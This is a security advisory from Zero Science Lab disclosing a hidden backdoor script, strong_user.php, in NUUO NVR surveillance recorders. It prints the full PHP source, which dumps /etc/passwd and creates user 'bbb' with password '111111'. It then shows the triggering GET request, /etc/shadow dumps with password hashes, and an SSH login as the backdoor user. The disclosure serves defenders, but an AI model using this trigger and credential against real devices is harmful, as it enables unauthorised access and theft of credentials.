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NUUO Backdoor (strong_user.php) Remote Shell Access


Vendor: NUUO Inc.
Product web page: http://www.nuuo.com
Affected version: <=3.0.8 (NE-4160, NT-4040)

Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
functionality. Setup is simple and easy, with automatic port forwarding
settings built in. NVRmini 2 supports POS integration, making this the perfect
solution for small retail chain stores. NVRmini 2 also comes full equipped as
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
and RAID functions for data protection. Choose NVR and know that your valuable video
data is safe, always.

Desc: NUUO NVRmini, NVRmini2, Crystal and NVRSolo devices have a hidden PHP script
that when called, a backdoor user is created with poweruser privileges that is able
to read and write files on the affected device. The backdoor user 'bbb' when created
with the password '111111' by visiting 'strong_user.php' script is able to initiate a
secure shell session and further steal and/or destroy sensitive information.

==================================================================
/strong_user.php:
-------------------------------

<?php



class ReadPasswd{
	private $file;
	private $fileData;
	private $error;

	function __construct($file) {
		try{
			if (is_file($file)) 
			{
				$this->fileData = file($file);
				$this->file = $file;
			}
			else 
			{
				throw new Exception("Couldn’t open file.");
			}
		} catch (Exception $e) {
			$this->error[] = $e->getMessage();
		}
	}

	public function getAllHTML(){
		foreach ($this->fileData as $content)
		{
			$temp = explode(':', $content);
			$output .= "<b>Username:  {$temp[0]} </b><br />";
			$output .= "Validation: {$temp[1]} <br />";
			$output .= "User Identifier: {$temp[2]} <br />";
			$output .= "Group Identifier: {$temp[3]} <br />";
			$output .= "Gecos Field: {$temp[4]} <br />";
			$output .= "Home Directory: {$temp[5]} <br />";
			$output .= "Shell: {$temp[6]} <br />";
			$output .= "<br />";
		}
		return $output;
	}

	public function getAllCLI() {
        foreach ($this->fileData as $content)
        {
            $temp = explode(':', $content);
            $output .= "Username: {$temp[0]} n";
            $output .= "Validation: {$temp[1]} n";
            $output .= "User Identifier: {$temp[2]} n";
            $output .= "Group Identifier: {$temp[3]} n";
            $output .= "Gecos Field: {$temp[4]} n";
            $output .= "Home Directory: {$temp[5]} n";
            $output .= "Shell: {$temp[6]} n";
            $output .= "n";
        }
        return $output;
    }
    
    public function searchUser($user,$data=0) {
        try{
            $data = array();
            if (is_string($user)) 
            {
                foreach($this->fileData as $line)
                {
                    $temp = explode(':', $line);
                    if (in_array($user,$temp))
                    {
                        if ($data) return 1;
                        $data['username'] = $temp[0];
                        $data['validation'] = $temp[1];
                        $data['user_identifier'] = $temp[2];
                        $data['group_identifier'] = $temp[3];
                        $data['gecos'] = $temp[4];
                        $data['home_directory'] = $temp[5];
                        $data['shell'] = $temp[6];
                    }
					
				}
            }
            else
            {
                throw new Exception('A search error has occured.');
            }
        } catch (Exception $e) {
            $this->error[] = $e->getMessage();
        }
    return $data;
    }
    
    public function getError() {
        return $this->error;
    }
    
    public function deleteUser($user) {
        try{
            if ($this->searchUser($user,1))
            { 
                foreach ($this->fileData as $line) 
                {
                    $lines = explode(":",$line);
                    if (!in_array($user,$lines))
                    {
                        $final .= $line;
                    }
                }
                if(!file_put_contents($this->file,$final))
                {
                    throw new Exception("Could not delete user.");
                }
            }
            else 
            {
                throw new Exception("User doesn’t exist.");
            } 
        } catch (Exception $e) {
            echo $this->error[] = $e->getMessage();
        }
    }    
}









/*

	echo "Strong test ";
    
	ma_getuser();
	ma_getgroup();

	$result = array('users' => array(), 'groups' => array());

	echo "<br>";
	echo $maUser;
	echo "<br>";
	echo $maGroup;
	echo "<br>";

	foreach($maGroup as $key =>$value)
	{
		$tmp = array();
		$tmp['groupname'] = $maGroup[$key]->strGroupname;
		$tmp['members'] = array();
		echo "Group (" . $key . ") === " . $maGroup[$key]->strGroupname;
		echo "<br><br>";
		ma_getgroupmember($maGroup[$key]->strGroupname);
		foreach ($maGroupmember as $mKey => $mValue)
		{
			echo "      User ($mKey) ===> $mValue ";
			echo "<br>";
			array_push($tmp['members'], $maGroupmember[$mKey]->strUsername);
		}
		//foreach($value as $userkey => $uservalue)
		//{
		//	echo "      User ($userkey) ===> $uservalue ";
		//	echo "<br>";
		//}
		echo "<br>";
		echo implode(",", $tmp['members']);
		echo "<br>";
		$tmp['membersStr'] = implode(",", $tmp['members']);
		array_push($result['groups'], $tmp);
	}    


	echo "<h1> Other </h1>";
	$tmp = array();
	$tmp['groupname'] = 'admin';
	ma_getgroupmember($tmp['groupname']);
	//ma_getgroupmember('');
	$tmp['members'] = array();
	foreach ($maGroupmember as $mKey => $mValue)
	{
		array_push($tmp['members'], $maGroupmember[$mKey]->strUsername);
		echo $maGroupmember[$mKey]->strUsername . "<br>";
	}
	$tmp['membersStr'] = implode(",", $tmp['members']);
	array_push($result['groups'], $tmp);


	echo "<h1> USER </h1>";

	foreach ( $maUser as $key => $value)
	{
		$tmp = array();
		$tmp['username'] = $maUser[$key]->strUsername;
		$tmp['groups'] = array();
		foreach ($result['groups'] as $gKey => $gValue)
		{
			if (in_array($tmp['username'], $gValue['members']))
				array_push($tmp['groups'], $gValue['groupname']);
		}
		$tmp['groupsStr'] = implode(",", $tmp['groups']);
		echo $tmp['username'] . "<br>";
		echo $tmp['groupsStr'] . "<br>";
        array_push($result['users'], $tmp);
    }
*/

	echo "<h1> Read Passwd </h1>";

	$passclass = new ReadPasswd('/etc/passwd');
	echo $passclass->getAllHTML();

	echo "<h1> add user </h1>";
	//$output = system("adduser bbb -G poweruser -s /sbin/nologin -D -H; passwd bbb 111111");
	//$output = system("adduser bbb -G poweruser -s /sbin/nologin -D -H");
	$output = system("adduser bbb -G poweruser -D ");


/*	

	$f = popen ("/usr/bin/passwd bbb","r");
	$read = fread($f, 1024);
	$out = fwrite($f,"111111\n");
	echo $read . " read  111 ,,, $out <br>";
	$read = fread($f, 1024);
	$out = fwrite($f,"111111\n");
	echo $read . " read 222 ,,, $out <br>";
	pclose($f);
	//echo $output . " kkk <br>";
*/
	$descriptorspec = array(
	   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
	   1 => array("pipe", "w")  // stdout is a pipe that the child will write to
	);

	$process = proc_open('/usr/bin/passwd bbb', $descriptorspec, $pipes);
	if (is_resource($process))
	{
		$read = fread($pipes[1], 1024);
		$out = fwrite($pipes[0],"111111\n");
		echo $read . " read  111 ,,, $out <br>";
		$read = fread($pipes[1], 1024);
		$out = fwrite($pipes[0],"111111\n");
		echo $read . " read  111 ,,, $out <br>";

		fclose($pipes[0]);
		fclose($pipes[1]);
	}
	proc_close($process);



	//$handle = popen("/bin/ls", "r");
	//$read = fread($handle, 1024);
	//echo $read;
	//pclose($handle);

?>

==================================================================

Tested on: GNU/Linux 3.0.8 (armv7l)
           GNU/Linux 2.6.31.8 (armv5tel)
           lighttpd/1.4.28
           PHP/5.5.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5354
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5354.php


14.01.2016

--


#1
Read of /etc/shadow file before backdoor was enabled:
------------------------------------------------------

root@nuuo:~# cat /etc/shadow
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
bin:*:14495:0:99999:7:::
daemon:*:14495:0:99999:7:::
adm:*:14495:0:99999:7:::
lp:*:14495:0:99999:7:::
sync:*:14495:0:99999:7:::
shutdown:*:14495:0:99999:7:::
halt:*:14495:0:99999:7:::
mail:*:14495:0:99999:7:::
uucp:*:14495:0:99999:7:::
operator:*:14495:0:99999:7:::
games:*:14495:0:99999:7:::
gopher:*:14495:0:99999:7:::
ftp:*:14495:0:99999:7:::
nobody:*:14495:0:99999:7:::
vcsa:!!:14564::::::
sshd:!!:14564::::::
guest::14564:0:99999:7:::


#2
Issuing GET request to the script:
-----------------------------------

GET http://10.0.0.17/strong_user.php HTTP/1.1


#3
Read of /etc/shadow file after backdoor was enabled:
-----------------------------------------------------

root@nuuo:~# cat /etc/shadow
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
bin:*:14495:0:99999:7:::
daemon:*:14495:0:99999:7:::
adm:*:14495:0:99999:7:::
lp:*:14495:0:99999:7:::
sync:*:14495:0:99999:7:::
shutdown:*:14495:0:99999:7:::
halt:*:14495:0:99999:7:::
mail:*:14495:0:99999:7:::
uucp:*:14495:0:99999:7:::
operator:*:14495:0:99999:7:::
games:*:14495:0:99999:7:::
gopher:*:14495:0:99999:7:::
ftp:*:14495:0:99999:7:::
nobody:*:14495:0:99999:7:::
vcsa:!!:14564::::::
sshd:!!:14564::::::
guest::14564:0:99999:7:::
bbb:$1$gYfUNAQN$.sn8WpIO5gNoOQeZzSyBI/:16915:0:99999:7:::


#4
The backdoor account is able to read the /etc/shadow file:
-----------------------------------------------------------

login as: bbb
bbb@10.0.0.17's password:
-sh-3.2$ id
Using fallback suid method
uid=1004(bbb) gid=1000(poweruser) groups=1000(poweruser)
-sh-3.2$ cat /etc/shadow
Using fallback suid method
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
bin:*:14495:0:99999:7:::
daemon:*:14495:0:99999:7:::
adm:*:14495:0:99999:7:::
lp:*:14495:0:99999:7:::
sync:*:14495:0:99999:7:::
shutdown:*:14495:0:99999:7:::
halt:*:14495:0:99999:7:::
mail:*:14495:0:99999:7:::
uucp:*:14495:0:99999:7:::
operator:*:14495:0:99999:7:::
games:*:14495:0:99999:7:::
gopher:*:14495:0:99999:7:::
ftp:*:14495:0:99999:7:::
nobody:*:14495:0:99999:7:::
vcsa:!!:14564::::::
sshd:!!:14564::::::
guest::14564:0:99999:7:::
bbb:$1$gYfUNAQN$.sn8WpIO5gNoOQeZzSyBI/:16915:0:99999:7:::
-sh-3.2$